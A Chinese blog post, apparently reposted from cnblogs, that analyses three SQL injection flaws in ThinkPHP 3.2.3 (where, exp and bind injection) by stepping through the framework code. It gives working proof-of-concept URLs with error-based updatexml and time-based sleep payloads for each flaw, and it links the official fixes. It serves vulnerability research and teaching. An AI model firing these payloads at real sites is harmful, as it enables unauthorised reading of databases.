• thinkphp3 注入漏洞


    SQL where注入

    配置控制器Application/Home/Controller/IndexController.class.php

    <?php
    namespace Home\Controller;
    
    use Think\Controller;
    
    class IndexController extends Controller
    {
        public function index()
        {
            $data = M('users')->find(I('GET.id'));
            var_dump($data);
        }
    }
    

    查询GET方式传入的id对应的数据

    输入http://127.0.0.1/thinkphp-3.2.3/index.php?id=1打断点简单走一遍

    经过了一些初始配置之后会来到I()函数,在前面我们已经介绍过,这是封装的一个获取输入的函数。

    先进行了参数类型和请求方法的分离:

    然后switch判断请求方法

    这时候把输入赋值给$data,过滤方法如果没有定义的话就用配置文件里的默认过滤

    $data    = $input;
    $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
    

    默认过滤为:
    'DEFAULT_FILTER' => 'htmlspecialchars'
    最后$data还要通过think_filter()过滤,就是匹配数据中是否具有敏感字符,其函数如下:

    function think_filter(&$value)
    {
        // TODO 其他安全过滤
    
        // 过滤查询特殊字符
        if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
    }
    

    如果$data匹配到敏感字符就会在数据后添加一个空格,需要注意的是,这里的特殊字符里面没有过滤BIND

    接着由于TP3的链式调用我们又进入了find()方法,继续跟进

    传入find()函数的时候参数$options还是1',单引号还在

    public function find($options = array())

    接着判断参数是否为数字或字符串,是的话就转化为数组

    这时候 $options['where']where=>array('id'=>"1'")

    然后判断是否存在多个主键,我们这里的主键唯一id,不会进入

    接下来经过这行代码后单引号被去除
    $options = $this->_parseOptions($options);

    跟进_parseOptions函数

    遍历了$options['where']里面的值,对每个值进行
    $this->_parseType($options['where'], $key);

    跟进其函数$this->_parseType

        protected function _parseType(&$data, $key)
        {
            if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
                $fieldType = strtolower($this->fields['_type'][$key]);
                if (false !== strpos($fieldType, 'enum')) {
                    // 支持ENUM类型优先检测
                } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                    $data[$key] = intval($data[$key]);
                } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                    $data[$key] = floatval($data[$key]);
                } elseif (false !== strpos($fieldType, 'bool')) {
                    $data[$key] = (bool) $data[$key];
                }
            }
        }
    

    数据库中id对应的$fieldTypeint(11),所以进入

    $data[$key] = intval($data[$key]);,强制类型转换之后我们的单引号就丢失了。

    接下来进入select函数进行查询,避免了注入的问题

        public function select($options = array())
        {
            $this->model = $options['model'];
            $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
            $sql    = $this->buildSelectSql($options);
            $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
            return $result;
        }
    

    整个过程是id=1' -> I() -> find() -> _parseOptions() -> _parseType()


    也就是我们不能进入第二个红框,突破点可以在第一个红框处
    if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
    而恰好这里的$options是我们可控的,紧接着其中的$options['where']也是可控的,比如我们传入?id[where]=1

    虽然这里存在对$options['where']赋值

    但因为我们传入的是数组从而不进入这个if语句

    所以在is_array($options['where']),这里的$options['where']是一个字符串而不是数组,避免进入if之后被过滤。

    检测POC

    检测的POC为:id[where]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

    需要注意的是,只有TP开了debug模式才会有报错,当目标站点没有开debug的时候,我们很容易会想到使用时间盲注进行检测

    时间盲注POC为:id[where]=1 and (select 1 from(select sleep(2))x)

    另外一个需要注意的点是,这个POC需要根据实际情况来进行修改,因为id只是测试用的参数,使用了 M('users')->find(I('GET.id')); 进行触发,恰巧在开发者手册中TP推荐这样来获取参数所以增加了漏洞的利用性

    漏洞修复

    https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04

    SQL EXP注入

    配置控制器Application/Home/Controller/IndexController.class.php

    <?php
    namespace Home\Controller;
    
    use Think\Controller;
    
    class IndexController extends Controller
    {
        public function index()
        {
            $User = D('Users');
            $map = array('username' => $_GET['username']);
            $user = $User->where($map)->find();
            var_dump($user);
        }
    }
    

    传入?username=admin打断点调试,进入where函数

    这时候的$where是数组,并且赋值给$this->options['where']

    链式调用进行find()函数,上一个漏洞我们分析过这个函数,继续调试进入$options = $this->_parseOptions($options);

    处理之后的$options

    接着进入select()方法

    生成查询SQL语句$sql = $this->buildSelectSql($options);

    跟进$this->buildSelectSql($options);之后其中主要调用了$sql = $this->parseSql($this->selectSql, $options);

    跟进parseSql()

    因为我们使用了where方法,所以会进入parseWhere

    经过一些处理之后到大概586行的$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

    parseKey获取了我们的参数名

    $val就是键值参数对应的值 admin

    接着进入parseWhereItem($key, $val),漏洞点就在这个函数里

    首先检查$val是否是数组,如果是数组的话,$val[0]是否是字符串,如果$val[0]exp,就直接将$key$val[1]进行拼接

    $whereStr .= $key . ' ' . $val[1];

    然后返回$whereStr

    所以这个漏洞利用点也是需要用数组来进行利用,整个POC就呼之欲出了

    /index.php?username[0]=exp&username[1]=%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

    如果没开debug的话还是也可以用盲注
    /index.php?username[0]=exp&username[1]=%20and%20(select%201%20from(select%20sleep(2))x)

    需要注意的是,在这个案例中我们没有使用I()方法来获取GET参数,而是使用的

    $map = array('username' => $_GET['username']);

    如果换成之前的I函数获取输入,则会进入think_filter函数

    function think_filter(&$value)
    {
        // TODO 其他安全过滤
    
        // 过滤查询特殊字符
        if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
    }
    

    经过其处理后,会在exp后面拼接上空格,进而无法进入

    } elseif ('exp' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' ' . $val[1];
    

    从而无法利用

    thinkphp3.2.3 bind注入

    配置控制器Application/Home/Controller/IndexController.class.php

    <?php
    namespace Home\Controller;
    
    use Think\Controller;
    
    class IndexController extends Controller
    {
        public function index()
        {
            $User = M("Users");
            $user['id'] = I('id');
            $data['password'] = I('password');
            $valu = $User->where($user)->save($data);
            var_dump($valu);
        }
    }
    

    访问http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=test&password=aaa

    访问之后发现test前面添加了冒号

    打断点进入save()函数逻辑

    逐步跟进之后在save()函数中主要调用了update()函数

    $result = $this->db->update($data, $options);

    数据库更新语句有下面主要由下面三部分拼接

    主要看第二句$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');

    因为传入的是数组,跟进之后来到了$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

    在前面提到过,这里会直接将传入的id[0]作为$exp,而$exp=='bind'则会进入

    } elseif ('bind' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' = :' . $val[1];
    

    经过该逻辑处理后数据变成了 key=:value 这样的格式,这也是为什么我们的payload输入之后会出现冒号的原因了

    接下来需要寻找去除掉冒号的办法,继续跟进

    现在的SQL语句是

    进入execute()方法,$this->queryStr为即将执行的SQL语句,重点关注红框内的代码

    if (!empty($this->bind)) {
        $that           = $this;
        $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
    }
    

    这里会执行两个函数,一个strst()字符串替换函数,一个使用array_map()调用的匿名函数

    进入上述代码前,即将执行的SQL语句为

    "UPDATE tp3_users SET password=:0 WHERE id = :test"

    可以看到:0是一个占位标记符,TP在此处想要做预编译的操作,而这里的匿名函数调用escapeString()过滤bind数组,前面知道bind数组只有set语句的值,输出数组为:

    strst()将会把占位标记符转换为 $this->bind 数组中对应的值,即将语句中的:0替换为password的值aaa,从而我们只要让前面POC中的id[1]=0,这样就能够人为拼接出一个:0,消除冒号的影响

    最终的POC为

    http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

    实际执行的SQL语句为:

    UPDATE tp3_users SET password='1' WHERE id = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

    DEBUG关闭时可以使用盲注

    http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0%20and%20(select%201%20from(select%20sleep(2))x)&password=1

    需要注意的是虽然我们这里用的是I()方法获取输入但还是造成了SQL注入,原因在于I()方法的过滤中忘记过滤bind关键字了,所以在官方的漏洞修补中,添加了bind关键字的过滤 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

    参考链接:

    END

    建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

    GIF GIF
  • 相关阅读:
    修改CentOS默认yum源为国内镜像
    linux下安装部署ansible
    Centos7 下安装部署zabbix-agent客户端
    Centos7下安装部署zabbix
    Jumpserver文档链接
    分布式部署文档
    分布式部署文档
    分布式部署文档
    分布式部署文档
    分布式部署文档
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/15952989.html
Copyright © 2020-2023  润新知